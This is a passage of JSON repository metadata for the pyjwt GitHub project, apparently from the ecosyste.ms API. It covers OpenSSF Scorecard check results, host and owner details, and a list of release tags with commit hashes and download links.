ted_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0